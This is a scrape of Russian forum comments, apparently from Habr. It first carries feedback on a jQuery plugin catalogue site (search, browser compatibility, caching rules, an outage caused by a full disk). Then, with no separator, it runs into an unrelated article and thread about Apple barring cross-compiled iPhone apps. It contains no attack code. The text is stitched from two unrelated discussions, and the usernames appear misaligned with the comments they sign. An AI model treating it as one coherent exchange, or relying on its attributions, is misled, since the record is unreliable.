Понял. На самом деле меня обвинения в устаревшести не задевают, а вот алерт напряг некисло. Признаться, я даже не подумал о том что его может выводить демка плагина :"). приношу извинения за обращение не по адресу. Хотя, возможно, вам стоит подумать о подмене alert на страницах с демками, уж больно они напрягают.

За сервис отдельное спасибо, буду пользоваться.
pietrovich
Конечно я учту на будущее насчет этих алертов.

Со временем постараюсь заменить на что-то более дружественное и безобидное, например на всплывающую системную подсказку типа как в хроме всплывает в правом нижнем/верхнем углу, да и на хабре так-же. Просто я не думал о фоксе старом, думал что это увидят только пользователи ИЕ, но не все видимо учел.
petrovnn
> Не нравится броузер? Сообщайте не так навязчиво, есть куча вариантов помимо противных алертов.

IE6 и IE7 вроде можно просто каким-то кривозапутанным кодом валить.
pietrovich
не холивара ради, а в 4 и выше версиях алерты браузер не блокируют :)
Proxmiff
Спасибо, не знал. Добавлю в копилку плюсов свежих версий FF. Возможно когда нибудь копилка заполнится и я обновлюсь, но пока особого желания менять основной броузер нет.
petrovnn
plugindetector.com/maphilight

Дай вам бог здоровья!
egorinsk
очень не хватает «избранного», подглядел несколько плагинов, очень хочется их положить в закладоньки.

а так все отлично! процветания вам!
stardust_kid
Избранное хранить в куках для анонимов, или хранить только у авторизованных? Всмысле как вы хотели?
pietrovich
авторизоваться не проблема, хранить для авторизованых.
docomo
Положил задачу в список дел: plugindetector.com/todo
Slash
Ну зачем же все усложнять, можно, например, хранить в куках, а вверху писать — отправьте себе избранное на почту — предлагая ввести имейл.

Тогда запишите еще ссылку на документацию (хотя бы есть/нет) и лицензию (например, та же Фоторама в коммерческом использовании — только с разрешения автора, сам ему писал)
petrovnn
Очень полезно! Спасибо Вам за труд.
Slash
Спасибо разработчикам! Повесил в быстрый доступ, каждое утро будет начинаться еще и с плагиндетектора.
petrovnn
Спасибо парни за такие классные и конструктивные отзывы!

Всю ночью не спал — готовился.
Вообще эти два месяца я очень, очень старался.
Конечно всем не угодишь, да и цель у меня не угождать, а помогать разработчикам разрабатывать, а менеджерам договариваться с клиентами; и находить решения, которые в большей мере устроят всех.

Насчет избранного, отдельное спасибо Slash за ценное предложение!

Как говорят японцы: «Главное — это делать свою работу хорошо. А деньги будут.»
Что-то есть во мне от японцев :)
marapper
Вот оно, каталог моей мечты. Люто респектирую.
MrMYSTIC
аналогичный репозиторий плагинов http://repo.eire-media.com/
vdv73rus
Да за один только шрифт в меню надо убивать.
petrovnn
Хотел было написать «Какой вы кровожадный...» Открыл сайт по ссылке, сказал «хм...». Решил о кровожадности не писать.
kr0k
Полезный сайт. Развивайте.
В закладки однозначно
n0s
Супер, делайте обязательно англоязычную версию, словить обзор на techcrunch'е или smashinmagazine было бы залогом успеха

только немного смущает название plugin detector. почему detector? можно было бы обозвать plugin review или что-то в этом роде

Antiarchitect
еще кстати не очевидно, в каких браузерах работают плагины.
osof
Кстати, можно сделать это как на вордпрессе


Отдельно сформировать список браузеров (хотя можно наверное и довериться user-agent'у) и чтобы пользователи могли голосовать в стиле «у меня Firefox 8.0 — работает, подтверждаю».
А лучше сформировать список руками и сделать автовыбор в select своего браузера, чтобы достаточно было просто нажать «У меня плагин работает! :)» или «У меня плагин не работает! :(»
WayBe
Идея хорошая, стоящая. Ваш вариант с авто-подстановкой — технологичен. Люблю технологичные вещи.

Вот эту штуку у ВП я видел недавно, и оценил ее, но не подумал что она применима к детектору. Надо тщательно обдумать. Идей много, нужно время все переварить. Спасибо за участие!
xargon
> еще кстати не очевидно, в каких браузерах работают плагины.

Да, есть такая тема. По дефолту я подразумеваю что пользователь использует последнюю версию браузера, а оказывается многие сидят далеко не на последних, поэтому здесь еще репу почесать предстоит.

Пока что у меня селект в админке только для ие: «Выберите с какой версии ИЕ этот плагин работает», но учитывая отзывы, придется думать что делать.
xargon
А начиная с какого ие вы отмечаете? Просто choosen не работает в ие ниже 8
Groove
Должен вас разочаровать, но я не учитываю ИЕ7. То есть при составлении сайта делаю вид что его просто не существует. Доказывать ничего не буду, просто это мое личное решение.

stas

Чем больше мы поддерживаем ИЕ, тем дольше он будет нас-же мучить. Попробуйте при работе с клиентами просто делать сайт, как буд-то ИЕ(6 или 7) не существует, и смотрите на реакцию клиента. Если он вам скажет, что у него все разваливается, то спросите какой у него браузер, и тогда-уж доделывайте под него. Я так делал, и в большинстве случаев клиенты просто не замечают, потому что в последнее время у клиентов стояли современные браузеры. В редких случаях клиент действительно говорил, мол, «что все разваливается». Тогда я конечно делал под старый ИЕ. Но это компромиссный вариант, и так я делал раньше.

Но сейчас (когда уже работаю на себя) поступаю более радикально, просто забиваю на ИЕ6-7, и уже подумываю о времени, когда начать забивать на 8.

Просто скажите клиенту что ИЕ7 устарел, и вы его поддерживать не будете. В доказательство приведите пост лебедева, где он говорит что старые ие только за дополнительные деньги, не помню, про какие версии он говорил.
petrovnn
Говорим. Клиент говорит «надо». Платит. Нам надо делать. И вот тут уже надо знать — можно прикрутить «плюшку», чтобы она везде работало, либо надо уговаривать клиента на «мягкую деградацию» (а то и вообще отказываться от использования).

На самом деле доля ие7 — 4.6% согласно статистике. Но она «средняя по больнице», у нас тут она побольше будет (даже если и немного). А 5% потенциальных покупателей в магазине — это не та цифра, которой заказчик легко пожертвует.
А ие6, конечно, лесом-лесом.
petrovnn
все правильно говорите. Ну не вижу ничего плохого в том чтобы поставить для 4% пользователей обычный селект, или там мультиселект надо?

Да, средняя по больнице, все верно.

Приведу свою-же цитату из письма, речь идет о ИЕ6-7:

> Такого рода «софт» характерен больше для госструктур, образовательных учереждений или крупных не-IT, компаний, в которых используются компьютеры, и в которых бюрократические процессы настолько медленны, что пока они обновят свой ИЕ7 ИЕ9 уже устареет.

Почему вы думаете что у вас доля ИЕ7 побольше будет? У вас есть доступ к статистике? Вы думаете что те кто покупают через интернет имеют старый комп, на котором винда не преустанавливалась 8 лет? Обычно покупатели инет-магазинов — либо современная молодежь, либо продвинутые люди средних лет. Конечно среди них тоже будут пользователи ИЕ7, но конечно не пять процентов — это смешная цифра. Ну может 3-3.5% будет, да. Для них стандартный селект или чекбоксы… но как разработчик я-бы отказался от этой задачи — делать отдельный контрол для 3% пользователей, из которых через полгода останется меньшая часть.
raduzhka
> немного смущает название plugin detector. почему detector?

Детектор — это звучит мощно, с буквой «р-р-р» на конце. Как трактор или терминатор. А ревью звучит как-то вяло. Эти ревью уже приелись везде ревью, сложно запомнить. К тому-же ревью не все знают как писать по англицки правильно. Потом, ревью в поиске заспамлено, фиг найдешь если что, а детектор, ну очень мало сайтов с таким названием — можно будет вбить потом в поиск просто «детектор jquery» и найти сайт без проблем. Детектор как мне кажется запоминается лучше.

Еще у этого слова есть такой скрытый смысл: детектор это датчик, который определяет что годится а что нет. Например в метро на турникетах детекторы, или в магазинах на выходе — чтобы на сайт попадало только самое лучшее.

К тому-же pluginreview.com/ уже занято киберами (я так называю киберсквоттеров), ну и вообще
petrovnn
Отличный сайт, сразу добавил в избранное, пусть список плагинов не велик, зато их качество отменное.

Незнаю, у меня чтото глюкнуло, или у вас, но когда попробовал зайти через гугл-аккаунт, получилось только со второго раза. Первый раз страница просто перезагрузилась, но авторизация не прошла.

Не нашел поиска по сайту, было бы очень полезно, ведь проект стоящий и список плагинов в скором времени разрастется
raduzhka
Можете описать ситуацию, в которой вам нужен был поиск? При каких обстоятельствах и что хотели найти?

Просто я думал что каталог покрывает все потребности отыскивания плагина, интересно узнать в чем именно я ошибался.
petrovnn
Именно сейчас поиск ни к чему, я довольно быстро просмотрел все плагины (чисто из интереса), и нашел для себя несколько довольно полезных. Но дело в то, что я заходил на сайт не с целью поиска, а просто посмотреть что есть.

Но вот примеры ситуаций:
1. Я просто ищу плагин по названию, пусть даже не скачать, а посмотреть демо (которые у вас сделаны очень качественно, чего не скажешь о многих других сайтах).
2. Допустим, количество «слайдеров» перевалило за 30, а я точно знаю что мне не нужен монстр с кучей функций. Мне будет гораздо удобнее вбить в поиск «легкий слайдер» и посмотреть что из этого выйдет.
3. Если в поиск добавить галочки совместимости с браузерами по версиям… вам цены не будет.
4. Если я захожу на сайт с целью «найти плагин», а не «посмотреть что есть», то я первым делом буду искать кнопку поиска.
5. На сайте с каталогом должен быть поиск… это просто привычка.

Это чисто мое мнение, я не говорю что без поиска ужасно не удобно, просто он не будет лишним :)
petrovnn
В целом я не против поиска. Просто я никогда еще не делал поиск на друпале, поэтому не знаю насколько это сложно. И вообще хороший поиск сделать, а тем более кастомизированный как-то под проект — задача не на день. Должно быть какое-то простое и удобное для юзеров решение поиска, буду думать.

> Если в поиск добавить галочки совместимости с браузерами по версиям… вам цены не будет.

Ну это просто колоссальная работа по тестированию, либо доверять разработческим описаниям, где они пишут что работает в таком и таком браузере. Но еще не забывайте один момент — хорошие плагины постоянно обновляются, делаются новые коммиты, в общем код живет, все время меняется. Это значит чтобы поддерживать актуальность информации по совместимости плагина с браузерами — необходимо мониторить все плагины и периодически обновлять инфу.

Вот здесь как раз и могут на помощь прийти пользователи, нужно сделать чтобы таблицу совместимостей составляли они, как на сайте Icon Finder: www.iconfinder.com/icondetails/70219/128/_icon — Textarea с тэгами в левом сайдбаре

Но мне видится еще такой вариант. Можно сделать список фич, которые использует плагин в своей работе, например Canvas, CSS3, CSS3 transitions, а уже исходя из этих фишек можно сказать какие браузеры его потянут. Возможно в каком-то браузере плагин работает, но вместо кругов и круглых углов у него квадраты и прямые углы. И как писать — плагин работает или не работает?

Получается что браузер может поддерживать часть технологий, и часть не поддерживать, и это уже таблица, в которой показано что именно работает а что нет. Конечно есть критически важная функциональность, которая определяет тотальную работоспособность плагина, например в Flux Slider это CSS3 transitions.

В общем спасибо что заставили думать на эту тему, буду переваривать.
Поиск конечно нужен.

А есть еще совместимость с разными версиями jQuery, jQuery UI, mousewheel, coockie и куча утилит, которые иногда используют разработчики при создании своих плагинов. В идеале совместимость с этими компонентами тоже нужно учитывать. Но это капец. Нужно начинать с чего-то простого и легкого в поддержке!
Akuma
Приятно видеть, что человек так серьезно относится к проекту. Бывает, что многие начнут… столкнутся с некоторыми сложностями и забивают прекращают разработку.

Насчет технологий, используемых плагином, идея мне нравится. Думаю, что раз человек зашел на сайт чтобы что-то скачать, значит он в состоянии примерно понять какой браузер что поддерживает.
Можно просто С, п, и, с, к, о, м выводить список технологий, как теги.

На счет совместимости с JQuery. Скорее всего хватит просто номера версии JQ, под которую разрабатывался плагин.
У вас сейчас Демо идет iframe-ом. Можно сделать возле этого фрейма обычный селект с выбором версии JQ, ну и соответствующим функционалом. РЕализация довольно простая, а полезность на мой взгляд ощутимая.

jQuery UI, mousewheel, coockie и т.д. это уже зависимости. Бывает такое, что плагин поддерживает такие зависимости, но не требует их в обязательном порядке. Например FancyBox не требует mousewheel, но может его использовать, если обнаружит.

Раз уж зашла речь, а почему нету всяких лайтбоксов? Как раз недавно открыл для себя FancyBox, который мне понравился гораздо больше LightBox-а.

Да, начинать нужно с чего то легкого и простого, однако не стоит забывать, что все таки нужно обеспечить условия расширяемости ))

Поиск на друпале? У вас плагины как ноды организованы? Если да, то стандартный поиск может искать и по содержимому и по тегам, если не ошибаюсь.
petrovnn
> Приятно видеть, что человек так серьезно относится к проекту. Бывает, что многие начнут… столкнутся с некоторыми сложностями и забивают прекращают разработку.


Сейчас я играю ва-банк. Либо я развиваю проект и он становится успешным, либо все бросаю и устраиваюсь работать «на дядю». Я решил биться до последнего. Не зря-же я прошел пешком 300 км в одиночку.

> У вас сейчас Демо идет iframe-ом. Можно сделать возле этого фрейма обычный селект с выбором версии JQ, ну и соответствующим функционалом. РЕализация довольно простая, а полезность на мой взгляд ощутимая.


Спасибо! Это драгоценная идея, и одна из немногих, которую я реализую до запуска англоязычной версии. Вот здесь пример того как я это вижу: plugindetector.com/demo/multiselect/?ru

На странице описания пока убрал, чтобы не перегружать функционалом; но в то-же время эта функция доступна на странице демки на случай если это действительно кому-то нужно.

> Раз уж зашла речь, а почему нету всяких лайтбоксов?


Fancybox обязательно добавлю. Некоторых его конкурентов тоже, но позже. Просто плагинов так много, что не знаешь за что хвататься и что добавлять в первую очередь.

> Поиск на друпале? У вас плагины как ноды организованы? Если да, то стандартный поиск может искать и по содержимому и по тегам, если не ошибаюсь.


да, плагины у меня это ноды. Таблицы сравнения тоже ноды. Рецензии — комментарии. Более подробно про реализацию писал на форуме друпал.ру

Сейчас все ресурсы брошены на реализацию англ. версии, поэтому новым функционалом в ближайшее время не побалую.
Akuma
Точно такая же беда со входом через facebook.
Видимо проблема у сервиса ulogin, т.к. сначала выдало запрос на доступ, перегрузило plugindetector, опять пытаюсь логиниться, ошибка в битой кодировке. F5 — и я вошёл.
Приколы :)
petrovnn
Возможно дело в ulogin, надо разбираться. Быстро сказать не могу, но у меня через гугл входить нормально. С логином через ФБ буду тестировать. Спасибо за фидбек
Akuma
Наиполезнеший ресурс! Благодарю!
petrovnn
великолепно.
не без недостатков, возможно, но — великолепно.

очень удобно, всё для нужд верстальщика: и предпросмотр, и код.
Sect0R
Спасибо!
Верстальщик верстальщика как грится видит издалека ;)

Какие недостатки? Это очень важная инфа. Вот именно недостатки и критика — самое полезное для долгосрочного развития проекта.

Так что не стесняйтесь! я не обижусь :)
petrovnn
Логотип сайта написать джорджией в курсиве: и красивее и векторно.
Если навскидку.
Ну и блок «добавить» — вынести в более видное место.
Очень приятно, что такой полезный и удобный сайт сделан на друпале.
Mystex
> блок «добавить» — вынести в более видное место.

Не понял добавить что?
Предложить плагин?
Добавить рецензию?
Или добавить информацию по этому плагину?
MPA3b
«Предложить плагин».
petrovnn
Большое спасибо за подборку этих плагинов на одном ресурсе
И то что плагинов не так много отобрано — это большой плюс
MPA3b
я просеиваю плагины через жесткий фильтр своего многолетнего опыта работы с дизайном и версткой, поэтому проходят через фильтр меньшая часть из того что я смотрю.

Хороших плагинов на самом деле не так много.
petrovnn
Большое спасибо за проект.

На мой взгляд оценки было бы не плохо, сделать примерно так:
MPA3b
Я согласен с вами в том, что оценки для интуитивного уровня плохо понятны. Ваш вариант в принципе хорош, спасибо что не поленились нарисовать. Я еще буду думать как сделать максимально понятно и наглядно, кажется еще не все варианты опробовал. Ваш вариант на заметку конечно возьму.
emp
Радует, что Drupal ;).
1) Как боролись с устаревшим jQuery в ядре. Некоторые плагины требуют последних версий.
2) Было бы гуд разрешить добавлять описания и всё такое посетителям (с премодерацией). А самому потом добавлять скрипы демо JQ.
3) Сделайте банеры (а то пока только в каталоге drupaltema.ru/site/plugindetector-com)
спасибо за сайт!
petrovnn
1) У меня на сайте 2 jquery. Первое, это стандартное друпаловское: v1.4.4, и второй файл с Google CDN v1.7.0 — для демок. Причем и этого еще не все, т.к. некоторые плагины не работают с последней версией jquery — выдают фатальные ошибки. Приходится для них специально подключать еще одну версию, вроде 1.6.

Да, сайт на статику тяжелый, согласен, но ведь все равно это на порядок меньше файлов нужно загрузить чем например шариться по сайтам разработчиков — там, действительно нужно будет каждый раз загружать целиком сайт разработчика с его стилями картинкам, скриптами. В демках я постарался помёрджить все CSS и JS в один файл, убрать лишние картинки (бэкграунды и красивости) и закешировать на сервере с помощью mod_expires и mod_headers.

Вот эти два правила у меня стоят для статики в папке /demo/

<IfModule mod_headers.c>
   Header append Cache-Control "public"
</IfModule>

<IfModule mod_expires.c>
   ExpiresActive On
   ExpiresDefault A900
</IfModule>


Эти правила (его называют жёстким кешированием) удерживают статику в браузере до тех пор, пока клиент принудительно их не обновит или не истечет время expires. А в этом примере похоже c expires-om у меня косяк, его походу нет, поэтому нужно правила совершенствовать. Может кто заодно подскажет.

2) Это будет моим основным направлением работы в ближайшее время — сделать так, чтобы пользователям было легко и комфортно добавлять те данные что они знают о плагинах на сайт. Рецензии — это только одна возможность, но есть и другие. Можно например самым активным давать роль, которой разрешено править некоторые поля (например тэги и описания) с помощью модуля field_permissions благо в друпале такие вещи делать очень приятно.

3) pvasili, при всем уважении, но я не вижу смысла в этом пункте. Лучше я сделаю что-то для юзеров, или демку еще добавлю. Если сделаю хороший сайт — люди сами будут рекламировать его, даже без баннеров, и наоборот, как-бы много баннеров я ни сделал и как-бы его не пиарил в каталогах, если сайт «г», то никакие баннеры не помогут. В общем я предпочитаю концентрироваться на качестве и на потребностях реальных пользователей.

yerzintimur
Ох, не знаю как у вас настроено кеширование, но я уже часа три получаю страницу без css, хотя они и загружаются, как показывает firebug|network tab.
petrovnn
Гут, в закладки. Только вот RSS окультурте, чтоли. Там сейчас куча незаресайзеных картинок, как-то не комильфо.
pvasili
Ого, только что заметил. Картинка плагина без ресайза — это такая задумка. А вот картинки из контента, да, косяки с плагинами Reel, Spritespin имеет место быть. Будем править.
petrovnn
Я в восторге если честно. Давно не хватало систематизации всего этого г**на, которое нам всем так порой нобходимо для реализации мелких (да и не только) проектов
MPA3b
Простите, но у меня у одного сайт открывается без css (проверял в FF и Chrome)?
zwie
Добро пожаловать в Хабраэффект! ;)
petrovnn
Нет, это не хабраэффект, посещений с хабра ночью мало.
Это называется «криворукий вебмастер эффект».

Уже поправил. Всю ночь сайт работал без CSS.
Приношу всем извенения за такую лажу.
xargon
Да, кажется что проблема с CSS тоже была из-за переполнения диска. Друпал агрегирует CSS и JS файлы в один, а так как место на диске кончилось, он тупо не мог записать агрегированный CSS файл на диск (он был пустым). См. еще коммент ниже про error.log.
denis15
1. Спасибо за идею — буду активно использовать.
2. Не хватает поиска. Хоть в каком-либо виде. Как минимум быстрого поиска по тегам (с учётом того, что теги идут не по алфавиту, найти что-то порой достаточно сложно)
3. Есть предложение, отдельно вынести плагины, использующие сторонние сайты (всяческие твиттеры, фейсбуки, прочее), как сейчас сделано для CMS.
4. То, что часть страниц открывается пустыми (например plugindetector.com/category/social) — это бага, или просто сервер не справляется?
brmn
ну тут у меня был небольшой квест.

Во время когда я редактировал один из шаблонов сайта (самый родительский) на моем аккаунте кончилось место на диске, и при попытке сохранения этого файла, когда я его заливаю на сервер, в нем стирается весь текст.

Просто этот сайт стоит на тарифе за 100руб/месяц, и на нем всего 600 мб места. Оказывается при хабраэффекте access.log растет очень быстро, и он сожрал все свободное место на диске (550мб) где-то за 7.5 часов публикации на хабре.

Но самый смак в том, что, что переполнение диска произошло именно в тот момент, когда я решил поправить этот родительский шаблон, который превратился в пустой файл. Поэтому были былые страницы до тех пор пока я не очистил access.log и не залил заново этот шаблон.
petrovnn
Знакомо ;)
Сам буквально на днях с очень похожей ситуацией столкнулся. Порадовался что фар не перечитывает файл при изменении автоматически.

В общем, всяческих успехов!
petrovnn
А как вы следите за актуальностью плагинов? Это же титаническая работа.
Kildor
ну я поставлю кнопочку «плагин устарел», чтобы пользователи могли отметить устаревший плагин, если они это заметят
petrovnn
Во-первых, конечно респект.
Теперь мысли:
1. Поддерживать такой сайт затратно.
2. Только на русском языке — сомнительна монетизация.
3. Стоит рассмотреть варианты участия широких кругов. Может попробовать использовать платформу вики?
4. Поиск мастхэв. То есть и движок должен быть хорошим и описания должны быть такими, чтобы находились.
Kildor
идея интересная и ресурс был бы полезен, но багов пока много…
AstonMartin
Крутотень, так как есть свои проекты, а знаний профессиональных нет, буду пользоваться вашими. Действительно не каждый день встретишь нужный сервис. Добавил в закладки, буду пользовать. Спасибо!
petrovnn
Отличный сервис.
Сразу в закладки.

Хотелось бы ещё возможность добавления плагинов пользователями с модерацией. Я думаю многие с радостью посоветуют отличные плагины и даже напишут описание.
OlegMax
Спасибо! В закладки палюбас :)
positivecrash
Класс, только с русским погорячились. Приятно конечно, но на англ такой ресурс на порядок востребованей был бы.
nofamous
Очень хотел попасть на вторую страницу — не удалось.
Sect0R
Cупер! Спасибо за подборку
wearymax
Реальный респект!
lepchenkov
Отлично. Огромное спасибо!
dzhidaj
Я бы разместил скрипты у себя на сайте. Сайты разработчиков часто падают/закрываются.
sineborod
Все скрипты в демках уже размещены на детекторе.
В последнее время я наблюдаю массу дискуссий о противостоянии Apple и Adobe. И в основном они сводятся к тому, что Apple — молодцы, а Adobe и Flash — корень всех бед…

Мне кажется, что большинство обсуждающих просто не видят леса за отдельными деревьями. Их внимание так отвлечено на ругань между руководствами больших и известных корпораций, что заметить основную тенденцию не особо получается.

Тенденция


Сегодня мы наблюдаем становление потрясающего рынка — маленьких, универсальных помощников человека, которые могут (или смогут в будущем) помочь ему связаться с кем угодно и как угодно, получить нужную информацию в любом месте и о любом предмете окружения, выполнять миллионы прочих полезных функций, и, наконец, просто развлечься. Вероятно, что через 5-10 лет такие помощники (сильно улучшенные) будут почти у каждого человека на планете, а жизнь без них будет казаться невозможной. Недооценить важность этого рынка очень тяжело. И война за него будет нешуточная, как и выигрыш победителя.

Корни зла


Чем возможности аппаратуры HTC Hero отличаются от iPhone? А от Nokia N900? Только прошу не сравнивать операционки, размеры экранов или наличие клавиатуры. Я прошу задаться вопросом «Что может делать iPhone такого, чего технически не мог бы сделать телефон на базе Android?». Правильный ответ — возможности аппаратуры идентичны.

А раз так, то каждый разработчик, создавший приложение для iPhone (например), просто обязан подумать о выпуске его на других мобильных платформах с минимальными телодвижениями.

Это же совершенно ясно! Идеальный вариант для разработчика — написать приложение, тыкнуть кнопку «получить версии для разных устройств», и счастливо зарабатывать на результате. Любые различия платформ порождают массу проблем с разработкой и поддержкой кода! Только представьте, что вам приходится переписывать вашу игру с ActionScript на С++, Java, Objective-C… а потом ещё и сопровождать все четыре версии кода, параллельно улучшая, исправляя ошибки и т.д.

Поэтому индустрия разработки ПО всегда поощряла создание инструментов для быстрого переноса приложений с одной платформы на другую с минимальными доработками. Примеров — масса: Java, Mono, OpenGL, Qt, HTML, CSS, JavaScript… этот список можно продолжать очень долго.

Совершенно очевидно и то, что разработчики платформ не заинтересованы в переносимости. Каждая программа для платформы — это конкурентное преимущество («Не сяду за ваш Linux, на нём Photoshop не работает»). Цель создателей платформ — максимально затруднить перенос программ на другие платформы.

И вот теперь я приведу цитату из блога Ильи Бирмана:
Кто не в курсе, на днях Эплы внесли изменения в соглашение разработчика, в соответствии с которыми программы для Айфона должны быть изначально написаны на ObjC/C/C++ и скомпилированны эпловскими стандартными средствами.

Лично я ждал этого уже давно. Apple может рассуждать про юзабилити, про полноценное использование возможностей платформы, быдлокодеров на Flash (как будто где-то их нет) и т.п. Они могут ругать Adobe за качество, но истинная причина — совсем не в этом. Истинная причина — заставить разработчика выбрать одну платформу, самую популярную на тот момент времени, и потом максимально усложнить перенос приложения на другую. И взбудоражил Apple не только новый компилятор Flash, но и появление MonoTouch, и прочих подобных инструментов, которые уже начали расти, как грибы после дождя.

Итог


В поведении Apple нет ничего необычного — это просто бизнес, им надо максимизировать прибыль. К любому поведению можно придумать мотивы, но в бизнесе вероятнее всего окажутся денежные.

P.S. Мы должны понимать, что в перспективе такой бизнес приводит к снижению конкуренции, росту цен, и застою в развитии технологий. Поэтому, лично я купил HTC Hero, на базе Android.
StopKran
С другой же стороны, нужно облегчить перенос других программ на свою платформу. Или я не прав? Как у эпл обстоят с этим дела, процесс переноса к ним, также сложен как и от них на другие платформы?

И ещё
Кто не в курсе, на днях Эплы внесли изменения в соглашение разработчика, в соответствии с которыми программы для Айфона должны быть изначально написаны на ObjC/C/C++ и скомпилированны эпловскими стандартными средствами.

Как они интересно собираются это определять?

А за статью, спасибо, да.
EntropiouS
«Как они интересно собираются это определять?»
При сборке их SDK даже в релизе остаются имена функций. Но вот что они смогут противопоставить обфускатору — это интересный вопрос.
zed_0xff
сделают свой обфускатор (платный) и запретят пользоваться иными.
StopKran
Flash Crosscompiler — это препроцессор + фреймворки, с какими-то фиксированными именами функций, насколько я понимаю. Именно по именам функций в flash'евском фреймворке можно определить, что он использовался. Наверное можно по'strip'ать имена функций на финальной части билда, но ябблы что-то заподозрят =)
EntropiouS
По-моему, вы слабо знакомы с вопросом программирования в целом )
ap3rus
Обнаруживаем, что программа подверглась обфускации — отвергаем ее.
bruce
Обфускатор может делать банальную подстановку синонимов.
EntropiouS
Слушайте, я не знаю, конечно, для iPhone не писал, но это ведь все-таки C и gcc и неужто это не лечится настройкой компиляции и линковки? То, что в оптимизированном релизе остаются символы — так это gcc'шный ключ -g, и, в принципе, штука полезная, потому как дает толковые crash-логи, но при желании их наверняка можно отпилить на этапе компиляции или strip'ом.

Обфускатор для C — это, определенно, шутка для баша :)
MikhailEdoshin
Выше уже писал
«Наверное можно по'strip'ать имена функций на финальной части билда, но ябблы что-то заподозрят =)»
EntropiouS
А чего там подозревать — оптимизация по размеру, как и рекомендовано :)
MikhailEdoshin
Кем это рекомендовано? =) И Вы наверное не очень представляете степень неадекватности проверяющих. Раньше, к примеру, если имя Вашего метода совпадало с каким-то недокументированным методом совершенно постороннего системного класса, присылали reject — не знаю как сейчас с этим делом.
EntropiouS
Рекомендовано Apple, во всяком случае, для desktop-приложений, где они советуют использовать -Os. И я думаю, там дело не в неадекватности, а в том, что стоит автомат, который получает список имен из приложения и сверяет со списком известных функций, не особенно разбирая, undefined символ или нет, и если он ругается, они дальше уже и не смотрят. Поэтому убрать внутренние имена, imho, даже нужно. Крэш-логов там все равно нет, а имена моих функций и переменных проверяющим только помешают.
MikhailEdoshin
Не видел подобных рекомендаций для iPhone. Очевидно, что бот кривой, а неадекватность в том, что зная, что бот кривой, приложения все равно reject'ят. Еще подозреваю, что с учетом наследования и категорий, будет проблематично вырезать только собственные имена. И как бы Вам логично не казалось убирать имена, все равно решать что удалять, а что оставлять, будут в apple. И раз их бот ищет по строкам, скорее всего они захотят строки оставить.
EntropiouS
Как раз с других на ихнюю на данный момент не так важно, написали же
«заставить разработчика выбрать одну платформу, самую популярную на тот момент времени, и потом максимально усложнить перенос приложения на другую», щас они самые популярные )
MikhailEdoshin
интересный взгляд, хоть кто-то не написал, что Apple — козлы, а Adobe — уроды…
metrofun
Я про «О начинке. Там и так свой фреймворк, а над ним еще один делают. Прослойка через прослойку. Жертвуя производительностью и зарядом аккумулятора. Ради чего? Удобства разработчика?»
А количество трэша в аппсторе будет расти всегда, и кросскомпиляция тут не при чем — проблема в быдлокоде, которые не имеет языковой принадлежности. Кстати, скриншот вполне себе ничего — довольно приятный UI, видел сотни поделий на порядки хуже.
PATRICK17
самый отвратительный интерфейс который я только видел… Я понимаю смысл в нативных приложений с правильный интерфейсом, но а игры то тут причем? в них всегда были свои менюшки созданные поверх движка самой игры. Я вот сейчас делаю игру под Mac + Win (linux with wine), я ее делаю так чтобы было лего портировать под iPhone и Andorid в будущем, а сейчас мне надо будет писать версию под айфон с нуля на языке который я не знаю и не особо понимаю.

p.s.
Вот и называй после такого меня apple-сектантом…
EntropiouS
Может мы разный скриншот видим? Действительно, при чем тут игры? =)
EntropiouS
не не, я видел тот же самый скриншот(башорг, да?), мало того, что он уныл, так еще и не вписывается экосистему apple. А игры я к тому, что в играх на гайдлайны ОС плевать, меню и интерфейс у каждой игры свой и свои гайдлайны у них.
andoriyu
Вроде не башорг, обычные анекдоты, сверху написано «Юмор» жутким шрифтом =)
EntropiouS
все равно этот интервейс заставляет рыдать меня кровавыми слезами и появляются мысли сделать сэппоку ложкой для десерта…
andoriyu
Скриншот не имеет ничего общего с привычными вылизанными интерфейсами программ для iPhone. И мне бы не хотелось видеть такие страшные интерфейсы в своем карманном помощнике =)
EntropiouS
Почему вы считаете, что удобство разработчика — зло? Может ещё и C++ не использовать, а писать на ассемблере под каждую отдельную архитектуру процессоров?

Платформ, процессоров, архитектур компьютеров и т.п. в мире уже так много, что бедные разработчики давно сошли бы с ума, если бы не столь нелюбимые вами «прослойки».

Я уважаю гайдлайны разных платформ и задумки их юзабилистов и дизайнеров. И их можно соблюдать, написав для программы несколько стандартных стратегий внешнего вида и поведения (Look and Feel). Большинство подобных проблем были решены ещё в Java Swing или Qt, например. Модель разработки MVC позволяет эффективно отделить представление и способ ввода данных от внутреннего кода приложения. Но только при условии, если разработчик платформы даёт свободно использовать любые удобные для разработчика инструменты.

Но тогда платформа становится просто «одной из многих». Да, хорошая, красивая, но и у других тоже всё хорошо и красиво. И если софт будет одинаковым, то покупателю, о ужас, вдруг станет всё равно что выбирать — Maemo или Android, Moblin или WinMobile. Покупатель — он, сволочь, начнёт сравнивать, искать по соотношению цена/качество. А вдруг он нашу продукцию не купит?! Не допустим!
andoriyu
> Почему вы считаете, что удобство разработчика — зло? Может ещё и C++ не использовать,
> а писать на ассемблере под каждую отдельную архитектуру процессоров?

давайте согласимся, что обсуждение удобства выльется в холивар по поводу хорош ли ObjC. Скажу лишь одно — мне УДОБНО писать на ObjC, гораздо удобнее, чем на AS3+Flex. Разница между стройным вылизанным фреймоврком и api от эппла и индусской поделкой от адоби, где постоянно приходится лазать в исходники для исправления детских багов — небо и земля.

Может дело все же не в удобстве, а в банальном нежелании переучиваться?

> Платформ, процессоров, архитектур компьютеров и т.п. в мире уже так много, что бедные разработчики
> давно сошли бы с ума, если бы не столь нелюбимые вами «прослойки».

решения от эппл я бы назвал чудесно звучащим словосочетанием «программно-аппаратный комплекс». Т.е. это не миллион платформ и процессорв, и не миллиард прослоек. А вполне законченное, давно уже оформившееся решение. Которое вы либо принимаете, либо нет.

> Я уважаю гайдлайны разных платформ и задумки их юзабилистов и дизайнеров. И их можно соблюдать,
> написав для программы несколько стандартных стратегий внешнего вида и поведения (Look and Feel).
> Большинство подобных проблем были решены ещё в Java Swing или Qt, например. Модель разработки MVC
> позволяет эффективно отделить представление и способ ввода данных от внутреннего кода приложения.

+1

> Но только при условии, если разработчик платформы даёт свободно использовать любые удобные для
> разработчика инструменты.

-1. Архитектура MVC на то и является архитектурой, что независима ни от инструментов реализации, ни от гипотетического удобства разработчика, так как это категория философского плана.

>Но тогда платформа становится просто «одной из многих». Да, хорошая, красивая, но и у других тоже всё
>хорошо и красиво. И если софт будет одинаковым, то покупателю, о ужас, вдруг станет всё равно что
> выбирать — Maemo или Android, Moblin или WinMobile. Покупатель — он, сволочь, начнёт сравнивать, искать
